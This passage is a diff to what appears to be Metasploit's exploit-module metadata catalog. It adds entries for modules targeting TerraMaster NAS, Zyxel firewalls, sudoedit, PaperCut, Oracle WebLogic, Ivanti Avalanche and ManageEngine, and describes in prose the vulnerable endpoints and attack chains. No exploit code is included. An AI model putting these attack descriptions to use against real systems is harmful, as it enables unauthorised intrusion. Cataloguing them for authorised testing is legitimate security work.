"CVE-2023-28528", + "URL-https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691" + ], + "platform": "AIX,Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-05-17 20:17:55 +0000", + "path": "/modules/exploits/aix/local/invscout_rpm_priv_esc.rb", + "is_install_path": true, + "ref_name": "aix/local/invscout_rpm_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": null + }, "exploit_aix/local/xorg_x11_server": { "name": "Xorg X11 Server Local Privilege Escalation", "fullname": "exploit/aix/local/xorg_x11_server", @@ -64182,10 +64778,10 @@ "https" ], "targets": [ - "Unix Command", + "Nix Command", "Linux (Dropper)" ], - "mod_time": "2022-10-24 11:48:33 +0000", + "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb", "is_install_path": true, "ref_name": "linux/http/glpi_htmlawed_php_injection", @@ -71062,6 +71658,68 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/symmetricom_syncserver_rce": { + "name": "Symmetricom SyncServer Unauthenticated Remote Command Execution", + "fullname": "exploit/linux/http/symmetricom_syncserver_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-08-31", + "type": "exploit", + "author": [ + "Steve Campbell", + "Justin Fatuch Apt4hax", + "Robert Bronstein" + ], + "description": "This module exploits an unauthenticated command injection vulnerability in /controller/ping.php.\n The S100 through S350 (End of Life) models should be vulnerable to\n unauthenticated exploitation due to a session handling vulnerability.\n Later models require authentication which is not provided in this module because we can't test it.\n The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).\n Run 'check' first to determine if vulnerable.\n The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT\n and LPORT while testing this module.", + "references": [ + "CVE-2022-40022", + "URL-https://nvd.nist.gov/vuln/detail/CVE-2022-40022" + ], + "platform": "Linux", + "arch": "x86, x64", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-06-13 17:05:30 +0000", + "path": "/modules/exploits/linux/http/symmetricom_syncserver_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/symmetricom_syncserver_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/synology_dsm_sliceupload_exec_noauth": { "name": "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", "fullname": "exploit/linux/http/synology_dsm_sliceupload_exec_noauth", @@ -71165,6 +71823,205 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/terramaster_unauth_rce_cve_2020_35665": { + "name": "TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2020_35665", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2020-12-12", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "IHTeam" + ], + "description": "This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06\n and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php`\n during CSV creation.\n Any unauthenticated user can therefore execute commands on the system under the same privileges as the\n web application, which typically runs under root at the TerraMaster Operating System.", + "references": [ + "CVE-2020-35665", + "CVE-2020-28188", + "PACKETSTORM-160685", + "PACKETSTORM-160687", + "URL-https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", + "URL-https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665" + ], + "platform": "Linux,Unix", + "arch": "cmd, php, x64, x86, aarch64", + "rport": 8181, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP", + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-06-08 07:39:44 +0000", + "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb", + "is_install_path": true, + "ref_name": "linux/http/terramaster_unauth_rce_cve_2020_35665", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, + "exploit_linux/http/terramaster_unauth_rce_cve_2021_45837": { + "name": "TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.", + "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2021_45837", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2021-12-24", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "n0tme" + ], + "description": "Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows\n an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.\n CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other\n information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.\n This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker\n can self-sign session cookies by knowing the target MAC address and the user password hash.\n Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker\n to login as guest.\n Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted\n input to vulnerable endpoint `/tos/index.php?app/del`.", + "references": [ + "CVE-2021-45837", + "CVE-2021-45839", + "CVE-2021-45841", + "URL-https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/", + "PACKETSTORM-165399", + "URL-https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837" + ], + "platform": "Linux,Unix", + "arch": "cmd, x64, x86, aarch64", + "rport": 8181, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-06-08 21:25:40 +0000", + "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb", + "is_install_path": true, + "ref_name": "linux/http/terramaster_unauth_rce_cve_2021_45837", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, + "exploit_linux/http/terramaster_unauth_rce_cve_2022_24990": { + "name": "TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989", + "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2022_24990", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-03-07", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Octagon Networks", + "0xf4n9x" + ], + "description": "This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29\n and lower by chaining two existing vulnerabilities, CVE-2022-24990 \"Leaking sensitive information\"\n and CVE-2022-24989, \"Authenticated remote code execution\".\n Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password\n hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint\n `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root\n on TerraMaster NAS devices.", + "references": [ + "CVE-2022-24990", + "CVE-2022-24989", + "URL-https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/", + "URL-https://github.com/0xf4n9x/CVE-2022-24990", + "URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990" + ], + "platform": "Linux,Unix", + "arch": "cmd, x64, x86, aarch64", + "rport": 8181, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-06-12 19:28:08 +0000", + "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb", + "is_install_path": true, + "ref_name": "linux/http/terramaster_unauth_rce_cve_2022_24990", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/tiki_calendar_exec": { "name": "Tiki-Wiki CMS Calendar Command Execution", "fullname": "exploit/linux/http/tiki_calendar_exec", @@ -77204,6 +78061,69 @@ ], "needs_cleanup": true }, + "exploit_linux/local/sudoedit_bypass_priv_esc": { + "name": "Sudoedit Extra Arguments Priv Esc", + "fullname": "exploit/linux/local/sudoedit_bypass_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-01-18", + "type": "exploit", + "author": [ + "h00die", + "Matthieu Barjole", + "Victor Cutillas" + ], + "description": "This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.\n The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided\n environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to\n append arbitrary entries to the list of files to process. This can lead to privilege escalation.\n by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root\n privileges.\n\n Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu\n 22.04 and 22.10.\n\n This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and\n 1.9.11p3-1ubuntu1 on Ubuntu 22.10.", + "references": [ + "EDB-51217", + "URL-https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh", + "URL-https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh", + "URL-https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis", + "URL-https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466", + "URL-https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf", + "URL-https://www.sudo.ws/security/advisories/sudoedit_any/", + "CVE-2023-22809" + ], + "platform": "Linux", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2023-05-16 16:18:14 +0000", + "path": "/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/sudoedit_bypass_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true + }, "exploit_linux/local/systemtap_modprobe_options_priv_esc": { "name": "SystemTap MODPROBE_OPTIONS Privilege Escalation", "fullname": "exploit/linux/local/systemtap_modprobe_options_priv_esc", @@ -80027,6 +80947,57 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/misc/zyxel_ike_decoder_rce_cve_2023_28771": { + "name": "Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771", + "aliases": [ + + ], + "rank": 500, + "disclosure_date": "2023-03-31", + "type": "exploit", + "author": [ + "sf " + ], + "description": "This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange\n (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are\n as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive),\n VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The\n affected devices are vulnerable in a default configuration and command execution is with root privileges.", + "references": [ + "CVE-2023-28771", + "URL-https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis", + "URL-https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 500, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Default" + ], + "mod_time": "2023-06-09 09:36:50 +0000", + "path": "/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb", + "is_install_path": true, + "ref_name": "linux/misc/zyxel_ike_decoder_rce_cve_2023_28771", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-service-restarts" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/misc/zyxel_multiple_devices_zhttp_lan_rce": { "name": "Zyxel Unauthenticated LAN Remote Code Execution", "fullname": "exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce", @@ -88920,7 +89891,7 @@ "targets": [ "Unix Command" ], - "mod_time": "2023-02-14 15:26:01 +0000", + "mod_time": "2023-06-06 17:43:22 +0000", "path": "/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb", "is_install_path": true, "ref_name": "multi/http/gitlab_github_import_rce_cve_2022_2992", @@ -93743,6 +94714,71 @@ "session_types": false, "needs_cleanup": true }, + "exploit_multi/http/papercut_ng_auth_bypass": { + "name": "PaperCut PaperCutNG Authentication Bypass", + "fullname": "exploit/multi/http/papercut_ng_auth_bypass", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-03-13", + "type": "exploit", + "author": [ + "catatonicprime" + ], + "description": "This module leverages an authentication bypass in PaperCut NG. If necessary it\n updates Papercut configuration options, specifically the 'print-and-device.script.enabled'\n and 'print.script.sandboxed' options to allow for arbitrary code execution running in\n the builtin RhinoJS engine.\n\n This module logs at most 2 events in the application log of papercut. Each event is tied\n to modifcation of server settings.", + "references": [ + "CVE-2023-27350", + "ZDI-23-233", + "URL-https://www.papercut.com/kb/Main/PO-1216-and-PO-1219", + "URL-https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/", + "URL-https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/", + "URL-https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software" + ], + "platform": "Java", + "arch": "java", + "rport": "9191", + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic Target" + ], + "mod_time": "2023-05-31 19:15:14 +0000", + "path": "/modules/exploits/multi/http/papercut_ng_auth_bypass.rb", + "is_install_path": true, + "ref_name": "multi/http/papercut_ng_auth_bypass", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/pentaho_business_server_authbypass_and_ssti": { "name": "Pentaho Business Server Auth Bypass and Server Side Template Injection RCE", "fullname": "exploit/multi/http/pentaho_business_server_authbypass_and_ssti", @@ -100658,6 +101694,62 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/iiop/cve_2023_21839_weblogic_rce": { + "name": "Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization", + "fullname": "exploit/multi/iiop/cve_2023_21839_weblogic_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-01-17", + "type": "exploit", + "author": [ + "4ra1n", + "14m3ta7k", + "Grant Willcox" + ], + "description": "Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated\n remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes\n a \"ForeignOpaqueReference\" class object, deserializes it on the target, and then post deserialization, calls the\n object's \"getReferent()\" method, which will make use of the \"ForeignOpaqueReference\" class's \"remoteJNDIName\" variable,\n which is under the attackers control, to do a remote loading of the JNDI address specified by \"remoteJNDIName\" via\n the \"lookup()\" function.\n\n This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting\n a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to\n create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java\n code during the instantiation of the object, thereby getting remote code execution as the \"oracle\" user.\n\n This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will\n then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java\n class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,\n at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate\n an instance of that class, granting us RCE as the \"oracle\" user.\n\n This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability", + "references": [ + "CVE-2023-21839", + "URL-https://www.oracle.com/security-alerts/cpujan2023.html", + "URL-https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md", + "URL-https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md", + "URL-https://github.com/4ra1n/CVE-2023-21839", + "URL-https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability" + ], + "platform": "", + "arch": "", + "rport": 7001, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Linux" + ], + "mod_time": "2023-06-09 12:24:35 +0000", + "path": "/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb", + "is_install_path": true, + "ref_name": "multi/iiop/cve_2023_21839_weblogic_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/kubernetes/exec": { "name": "Kubernetes authenticated code execution", "fullname": "exploit/multi/kubernetes/exec", @@ -104085,7 +105177,7 @@ "Linux", "Mac OS X" ], - "mod_time": "2021-05-20 17:17:17 +0000", + "mod_time": "2023-05-30 12:21:52 +0000", "path": "/modules/exploits/multi/script/web_delivery.rb", "is_install_path": true, "ref_name": "multi/script/web_delivery", @@ -104093,6 +105185,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + + ] }, "session_types": false, "needs_cleanup": null @@ -104124,6 +105225,7 @@ ], "targets": [ + "Linux Command", "Linux x86", "Linux x64", "Linux armle", @@ -104138,7 +105240,7 @@ "Unix Cmd", "Interactive SSH" ], - "mod_time": "2022-03-24 22:52:15 +0000", + "mod_time": "2023-03-15 19:19:19 +0000", "path": "/modules/exploits/multi/ssh/sshexec.rb", "is_install_path": true, "ref_name": "multi/ssh/sshexec", @@ -149232,6 +150334,69 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/ivanti_avalanche_filestoreconfig_upload": { + "name": "Ivanti Avalanche FileStoreConfig File Upload", + "fullname": "exploit/windows/http/ivanti_avalanche_filestoreconfig_upload", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-04-24", + "type": "exploit", + "author": [ + "Piotr Bazydlo", + "Shelby Pace" + ], + "description": "Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short\n names in the configuration path for the Central FileStore. Because of\n this, an administrator can change the default path to the web root\n of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\\SYSTEM.", + "references": [ + "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-456/", + "URL-https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US", + "URL-https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128", + "CVE-2023-28128" + ], + "platform": "Java,Windows", + "arch": "java", + "rport": 8080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic Target" + ], + "mod_time": "2023-05-12 16:08:47 +0000", + "path": "/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb", + "is_install_path": true, + "ref_name": "windows/http/ivanti_avalanche_filestoreconfig_upload", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_windows/http/jira_collector_traversal": { "name": "JIRA Issues Collector Directory Traversal", "fullname": "exploit/windows/http/jira_collector_traversal", @@ -149838,6 +151003,71 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection": { + "name": "ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection", + "fullname": "exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-04-12", + "type": "exploit", + "author": [ + "Simon Humbert", + "Dinh Hoang", + "Grant Willcox" + ], + "description": "ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient\n validation of user input when performing the ChangePasswordAction function before passing it into a string that is later\n used as an OS command to execute.\n\n By making a POST request to /api/json/admin/saveServerSettings with a params POST\n parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a\n carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user\n running ADManager Plus, which will typically be the local administrator.\n\n Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,\n so this vulnerability does require authentication to exploit.\n\n As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads\n with this exploit, since these will use HTTP connections that will be affected by the change in configuration.", + "references": [ + "CVE-2023-29084", + "URL-https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/", + "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-438/", + "URL-https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html", + "URL-https://www.manageengine.com/products/ad-manager/release-notes.html" + ], + "platform": "Windows", + "arch": "cmd", + "rport": 8080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows Command" + ], + "mod_time": "2023-06-01 16:59:14 +0000", + "path": "/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb", + "is_install_path": true, + "ref_name": "windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": { "name": "ManageEngine ADSelfService Plus CVE-2021-40539", "fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539", @@ -156238,7 +157468,7 @@ "targets": [ "Windows 10 x64" ], - "mod_time": "2021-08-26 09:27:21 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/alpc_taskscheduler.rb", "is_install_path": true, "ref_name": "windows/local/alpc_taskscheduler", @@ -156417,7 +157647,7 @@ "James Forshaw", "Shelby Pace" ], - "description": "There exists a privilege escalation vulnerability for\n Windows 10 builds prior to build 17763. Due to the AppXSvc's\n improper handling of hard links, a user can gain full\n privileges over a SYSTEM-owned file. The user can then utilize\n the new file to execute code as SYSTEM.\n\n This module employs a technique using the Diagnostics Hub Standard\n Collector Service (DiagHub) which was discovered by James Forshaw to\n load and execute a DLL as SYSTEM.", + "description": "There exists a privilege escalation vulnerability for\n Windows 10 builds prior to build 17763. Due to the AppXSvc's\n improper handling of hard links, a user can gain full\n privileges over a SYSTEM-owned file. The user can then utilize\n the new file to execute code as SYSTEM.\n\n This module employs a technique using the Diagnostics Hub Standard\n Collector Service (DiagHub) which was discovered by James Forshaw to\n load and execute a DLL as SYSTEM.", "references": [ "CVE-2019-0841", "URL-https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/", @@ -156425,7 +157655,7 @@ "URL-https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", "URL-https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html" ], - "platform": "", + "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": [ @@ -156437,7 +157667,7 @@ "targets": [ "Windows 10" ], - "mod_time": "2019-07-09 11:39:38 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb", "is_install_path": true, "ref_name": "windows/local/appxsvc_hard_link_privesc", @@ -156447,7 +157677,7 @@ "notes": { }, "session_types": [ - + "meterpreter" ], "needs_cleanup": true }, @@ -156526,7 +157756,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-04-21 10:13:37 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb", "is_install_path": true, "ref_name": "windows/local/bits_ntlm_token_impersonation", @@ -156581,7 +157811,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bthpan.rb", "is_install_path": true, "ref_name": "windows/local/bthpan", @@ -156626,7 +157856,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac", @@ -156671,7 +157901,7 @@ "targets": [ "Automatic" ], - "mod_time": "2022-03-03 13:02:55 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_comhijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_comhijack", @@ -156726,7 +157956,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_dotnet_profiler", @@ -156781,7 +158011,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_eventvwr", @@ -156827,7 +158057,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_fodhelper", @@ -156876,7 +158106,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2022-12-04 17:41:24 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection", @@ -156919,7 +158149,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2023-02-09 11:43:20 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection_winsxs", @@ -156964,7 +158194,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_sdclt.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sdclt", @@ -157069,7 +158299,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sluihijack", @@ -157096,7 +158326,7 @@ "Vozzie", "Ben Campbell " ], - "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.", + "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.", "references": [ "URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html", "URL-https://github.com/Vozzie/uacscript" @@ -157113,7 +158343,7 @@ "targets": [ "Automatic" ], - "mod_time": 